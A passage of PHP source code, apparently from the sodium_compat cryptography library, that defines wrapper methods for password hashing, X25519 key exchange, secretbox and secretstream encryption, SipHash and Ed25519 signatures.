ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5);
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_pwhash_scryptsalsa208sha256(
(int) $outlen,
(string) $passwd,
(string) $salt,
(int) $opslimit,
(int) $memlimit
);
}
if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
return (string) call_user_func(
'\\Sodium\\crypto_pwhash_scryptsalsa208sha256',
(int) $outlen,
(string) $passwd,
(string) $salt,
(int) $opslimit,
(int) $memlimit
);
}
// This is the best we can do.
throw new SodiumException(
'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
);
}
/**
* !Exclusive to sodium_compat!
*
* This returns TRUE if the native crypto_pwhash API is available by libsodium.
* This returns FALSE if only sodium_compat is available.
*
* @return bool
*/
public static function crypto_pwhash_scryptsalsa208sha256_is_available()
{
if (self::useNewSodiumAPI()) {
return true;
}
if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
return true;
}
return false;
}
/**
* @param string $passwd
* @param int $opslimit
* @param int $memlimit
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit)
{
ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str(
(string) $passwd,
(int) $opslimit,
(int) $memlimit
);
}
if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) {
return (string) call_user_func(
'\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str',
(string) $passwd,
(int) $opslimit,
(int) $memlimit
);
}
// This is the best we can do.
throw new SodiumException(
'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
);
}
/**
* @param string $passwd
* @param string $hash
* @return bool
* @throws SodiumException
* @throws TypeError
*/
public static function crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash)
{
ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2);
if (self::useNewSodiumAPI()) {
return (bool) sodium_crypto_pwhash_scryptsalsa208sha256_str_verify(
(string) $passwd,
(string) $hash
);
}
if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify')) {
return (bool) call_user_func(
'\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify',
(string) $passwd,
(string) $hash
);
}
// This is the best we can do.
throw new SodiumException(
'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
);
}
/**
* Calculate the shared secret between your secret key and your
* recipient's public key.
*
* Algorithm: X25519 (ECDH over Curve25519)
*
* @param string $secretKey
* @param string $publicKey
* @return string
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_scalarmult($secretKey, $publicKey)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_scalarmult($secretKey, $publicKey);
}
if (self::use_fallback('crypto_scalarmult')) {
return (string) call_user_func('\\Sodium\\crypto_scalarmult', $secretKey, $publicKey);
}
/* Output validation: Forbid all-zero keys */
if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
throw new SodiumException('Zero secret key is not allowed');
}
if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey, str_repeat("\0", self::CRYPTO_BOX_PUBLICKEYBYTES))) {
throw new SodiumException('Zero public key is not allowed');
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::scalarmult($secretKey, $publicKey);
}
return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey);
}
/**
* Calculate an X25519 public key from an X25519 secret key.
*
* @param string $secretKey
* @return string
* @throws SodiumException
* @throws TypeError
* @psalm-suppress TooFewArguments
* @psalm-suppress MixedArgument
*/
public static function crypto_scalarmult_base($secretKey)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_scalarmult_base($secretKey);
}
if (self::use_fallback('crypto_scalarmult_base')) {
return (string) call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey);
}
if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
throw new SodiumException('Zero secret key is not allowed');
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey);
}
return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey);
}
/**
* Authenticated symmetric-key encryption.
*
* Algorithm: XSalsa20-Poly1305
*
* @param string $plaintext The message you're encrypting
* @param string $nonce A Number to be used Once; must be 24 bytes
* @param string $key Symmetric encryption key
* @return string Ciphertext with Poly1305 MAC
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_secretbox($plaintext, $nonce, $key)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_secretbox($plaintext, $nonce, $key);
}
if (self::use_fallback('crypto_secretbox')) {
return (string) call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce, $key);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce, $key);
}
return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce, $key);
}
/**
* Decrypts a message previously encrypted with crypto_secretbox().
*
* @param string $ciphertext Ciphertext with Poly1305 MAC
* @param string $nonce A Number to be used Once; must be 24 bytes
* @param string $key Symmetric encryption key
* @return string Original plaintext message
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedInferredReturnType
* @psalm-suppress MixedReturnStatement
*/
public static function crypto_secretbox_open($ciphertext, $nonce, $key)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
/**
* @psalm-suppress InvalidReturnStatement
* @psalm-suppress FalsableReturnStatement
*/
return sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
}
if (self::use_fallback('crypto_secretbox_open')) {
return call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext, $nonce, $key);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext, $nonce, $key);
}
return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce, $key);
}
/**
* Return a secure random key for use with crypto_secretbox
*
* @return string
* @throws Exception
* @throws Error
*/
public static function crypto_secretbox_keygen()
{
return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES);
}
/**
* Authenticated symmetric-key encryption.
*
* Algorithm: XChaCha20-Poly1305
*
* @param string $plaintext The message you're encrypting
* @param string $nonce A Number to be used Once; must be 24 bytes
* @param string $key Symmetric encryption key
* @return string Ciphertext with Poly1305 MAC
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_secretbox_xchacha20poly1305($plaintext, $nonce, $key)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
}
return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
}
/**
* Decrypts a message previously encrypted with crypto_secretbox_xchacha20poly1305().
*
* @param string $ciphertext Ciphertext with Poly1305 MAC
* @param string $nonce A Number to be used Once; must be 24 bytes
* @param string $key Symmetric encryption key
* @return string Original plaintext message
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
}
return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
}
/**
* @param string $key
* @return array<int, string> Returns a state and a header.
* @throws Exception
* @throws SodiumException
*/
public static function crypto_secretstream_xchacha20poly1305_init_push($key)
{
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key);
}
return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key);
}
/**
* @param string $header
* @param string $key
* @return string Returns a state.
* @throws Exception
*/
public static function crypto_secretstream_xchacha20poly1305_init_pull($header, $key)
{
if (ParagonIE_Sodium_Core_Util::strlen($header) < self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) {
throw new SodiumException(
'header size should be SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes'
);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key, $header);
}
return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key, $header);
}
/**
* @param string $state
* @param string $msg
* @param string $aad
* @param int $tag
* @return string
* @throws SodiumException
*/
public static function crypto_secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0)
{
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push(
$state,
$msg,
$aad,
$tag
);
}
return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push(
$state,
$msg,
$aad,
$tag
);
}
/**
* @param string $state
* @param string $msg
* @param string $aad
* @return bool|array{0: string, 1: int}
* @throws SodiumException
*/
public static function crypto_secretstream_xchacha20poly1305_pull(&$state, $msg, $aad = '')
{
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull(
$state,
$msg,
$aad
);
}
return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull(
$state,
$msg,
$aad
);
}
/**
* @return string
* @throws Exception
*/
public static function crypto_secretstream_xchacha20poly1305_keygen()
{
return random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES);
}
/**
* @param string $state
* @return void
* @throws SodiumException
*/
public static function crypto_secretstream_xchacha20poly1305_rekey(&$state)
{
if (PHP_INT_SIZE === 4) {
ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state);
} else {
ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state);
}
}
/**
* Calculates a SipHash-2-4 hash of a message for a given key.
*
* @param string $message Input message
* @param string $key SipHash-2-4 key
* @return string Hash
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedInferredReturnType
* @psalm-suppress MixedReturnStatement
*/
public static function crypto_shorthash($message, $key)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SHORTHASH_KEYBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SHORTHASH_KEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_shorthash($message, $key);
}
if (self::use_fallback('crypto_shorthash')) {
return (string) call_user_func('\\Sodium\\crypto_shorthash', $message, $key);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Core32_SipHash::sipHash24($message, $key);
}
return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key);
}
/**
* Return a secure random key for use with crypto_shorthash
*
* @return string
* @throws Exception
* @throws Error
*/
public static function crypto_shorthash_keygen()
{
return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES);
}
/**
* Returns a signed message. You probably want crypto_sign_detached()
* instead, which only returns the signature.
*
* Algorithm: Ed25519 (EdDSA over Curve25519)
*
* @param string $message Message to be signed.
* @param string $secretKey Secret signing key.
* @return string Signed message (signature is prefixed).
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedInferredReturnType
* @psalm-suppress MixedReturnStatement
*/
public static function crypto_sign($message, $secretKey)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_sign($message, $secretKey);
}
if (self::use_fallback('crypto_sign')) {
return (string) call_user_func('\\Sodium\\crypto_sign', $message, $secretKey);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::sign($message, $secretKey);
}
return ParagonIE_Sodium_Crypto::sign($message, $secretKey);
}
/**
* Validates a signed message then returns the message.
*
* @param string $signedMessage A signed message
* @param string $publicKey A public key
* @return string The original message (if the signature is
* valid for this public key)
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedInferredReturnType
* @psalm-suppress MixedReturnStatement
*/
public static function crypto_sign_open($signedMessage, $publicKey)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) < self::CRYPTO_SIGN_BYTES) {
throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_BYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SIGN_PUBLICKEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
/**
* @psalm-suppress InvalidReturnStatement
* @psalm-suppress FalsableReturnStatement
*/
return sodium_crypto_sign_open($signedMessage, $publicKey);
}
if (self::use_fallback('crypto_sign_open')) {
return call_user_func('\\Sodium\\crypto_sign_open', $signedMessage, $publicKey);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::sign_open($signedMessage, $publicKey);
}
return ParagonIE_Sodium_Crypto::sign_open($signedMessage, $publicKey);
}
/**
* Generate a new random Ed25519 keypair.
*
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function crypto_sign_keypair()
{
if (self::useNewSodiumAPI()) {
return sodium_crypto_sign_keypair();
}
if (self::use_fallback('crypto_sign_keypair')) {
return (string) call_user_func('\\Sodium\\crypto_sign_keypair');
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Core32_Ed25519::keypair();
}
return ParagonIE_Sodium_Core_Ed25519::keypair();
}
/**
* @param string $sk
* @param string $pk
* @return string
* @throws SodiumException
*/
public static function crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk)
{
ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1);
$sk = (string) $sk;
$pk = (string) $pk;
if (ParagonIE_Sodium_Core_Util::strlen($sk) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
throw new SodiumException('secretkey should be SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes');
}
if (ParagonIE_Sodium_Core_Util::strlen($pk) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
throw new SodiumException('publickey should be SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk);
}
return $sk . $pk;
}
/**
* Generate an Ed25519 keypair from a seed.
*
* @param string $seed Input seed
* @return string Keypair
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_sign_seed_keypair($seed)
{
ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);
if (self::useNewSodiumAPI()) {
return sodium_crypto_sign_seed_keypair($seed);
}
if (self::use_fallback('crypto_sign_keypair')) {
return (string) call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed);
}
$publicKey = '';
$secretKey = '';
if (PHP_INT_SIZE === 4) {
ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
} else {
ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
}
return $secretKey . $publicKey;
}
/**
* Extract an Ed25519 public key from an Ed25519 keypair.
*
* @param string $keypair Keypair
* @return string Public key
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_sign_publickey($keypair)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_sign_publickey($keypair);
}
if (self::use_fallback('crypto_sign_publickey')) {
return (string) call_user_func('\\Sodium\\crypto_sign_publickey', $keypair);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair);
}
return ParagonIE_Sodium_Core_Ed25519::publickey($keypair);
}
/**
* Calculate an Ed25519 public key from an Ed25519 secret key.
*
* @param string $secretKey Your Ed25519 secret key
* @return string The corresponding Ed25519 public key
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_sign_publickey_from_secretkey($secretKey)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_sign_publickey_from_secretkey($secretKey);
}
if (self::use_fallback('crypto_sign_publickey_from_secretkey')) {
return (string) call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey', $secretKey);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey);
}
return ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey);
}
/**
* Extract an Ed25519 secret key from an Ed25519 keypair.
*
* @param string $keypair Keypair
* @return string Secret key
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_sign_secretkey($keypair)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_sign_secretkey($keypair);
}
if (self::use_fallback('crypto_sign_secretkey')) {
return (string) call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair);
}
return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair);
}
/**
* Calculate the Ed25519 signature of a message and return ONLY the signature.
*
* Algorithm: Ed25519 (EdDSA over Curve25519)
*
* @param string $message Message to be signed
* @param string $secretKey Secret signing key
* @return string Digital signature
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_sign_detached($message, $secretKey)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_sign_detached($message, $secretKey);
}
if (self::use_fallback('crypto_sign_detached')) {
return (string) call_user_func('\\Sodium\\crypto_sign_detached', $message, $secretKey);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::sign_detached($message, $secretKey);
}
return ParagonIE_Sodium_Crypto::sign_detached($message, $secretKey);
}
/**
* Verify the Ed25519 signature of a message.
*
* @param string $signature Digital sginature
* @param string $message Message to be verified
* @param string $publicKey Public key
* @return bool TRUE if this signature is good for this public key;
* FALSE otherwise
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_sign_verify_detached($signature, $message, $publicKey)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($signature, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($signature) !== self::CRYPTO_SIGN_BYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_sign_verify_detached($signature, $message, $publicKey);
}
if (self::use_fallback('crypto_sign_verify_detached')) {
return (bool) call_user_func(
'\\Sodium\\crypto_sign_verify_detached',
$signature,
$message,
$publicKey
);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message, $publicKey);
}
return ParagonIE_Sodium_Crypto::sign_verify_detached($signature, $message, $publicKey);
}
/**
* Convert an Ed25519 public key to a Curve25519 public key
*
* @param string $pk
* @return string
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_sign_ed25519_pk_to_curve25519($pk)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($pk) < self::CRYPTO_SIGN_PUBLICKEYBYTES) {
throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_PUBLICKEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
if (is_callable('crypto_sign_ed25519_pk_to_curve25519')) {
return (string) sodium_crypto_sign_ed25519_pk_to_curve25519($pk);
}
}
if (self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) {
return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519', $pk);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk);
}
return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk);
}
/**
* Convert an Ed25519 secret key to a Curve25519 secret key
*
* @param string $sk
* @return string
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_sign_ed25519_sk_to_curve25519($sk)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($sk) < self::CRYPTO_SIGN_SEEDBYTES) {
throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_SEEDBYTES long.');
}
if (self::useNewSodiumAPI()) {
if (is_callable('crypto_sign_ed25519_sk_to_curve25519')) {
return sodium_crypto_sign_ed25519_sk_to_curve25519($sk);
}
}
if (self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) {
return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519', $sk);
}
$h = hash('sha512', ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true);
$h[0] = ParagonIE_Sodium_Core_Util::intToChr(
ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248
);
$h[31] = ParagonIE_Sodium_Core_Util::intToChr(
(ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64
);
return ParagonIE_Sodium_Core_Util::substr($h, 0, 32);
}
/**
* Expand a key and nonce into a keystream of pseudorandom bytes.
*
* @param int $len Number of bytes desired
* @param string $nonce Number to be used Once; must be 24 bytes
* @param string $key XSalsa20 key
* @return string Pseudorandom stream that can be XORed with messages
* to provide encryption (but not authentication; see
* Poly1305 or crypto_auth() for that, which is not
* optional for security)
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_stream($len, $nonce, $key)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_STREAM_KEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return sodium_crypto_stream($len, $nonce, $key);
}
if (self::use_fallback('crypto_stream')) {
return (string) call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce, $key);
}
return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce, $key);
}
/**
* DANGER! UNAUTHENTICATED ENCRYPTION!
*
* Unless you are following expert advice, do not use this feature.
*
* Algorithm: XSalsa20
*
* This DOES NOT provide ciphertext integrity.
*
* @param string $message Plaintext message
* @param string $nonce Number to be used Once; must be 24 bytes
* @param string $key Encryption key
* @return string Encrypted text which is vulnerable to chosen-
* ciphertext attacks unless you implement some
* other mitigation to the ciphertext (i.e.
* Encrypt then MAC)
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_stream_xor($message, $nonce, $key)
{
/* Type checks: */
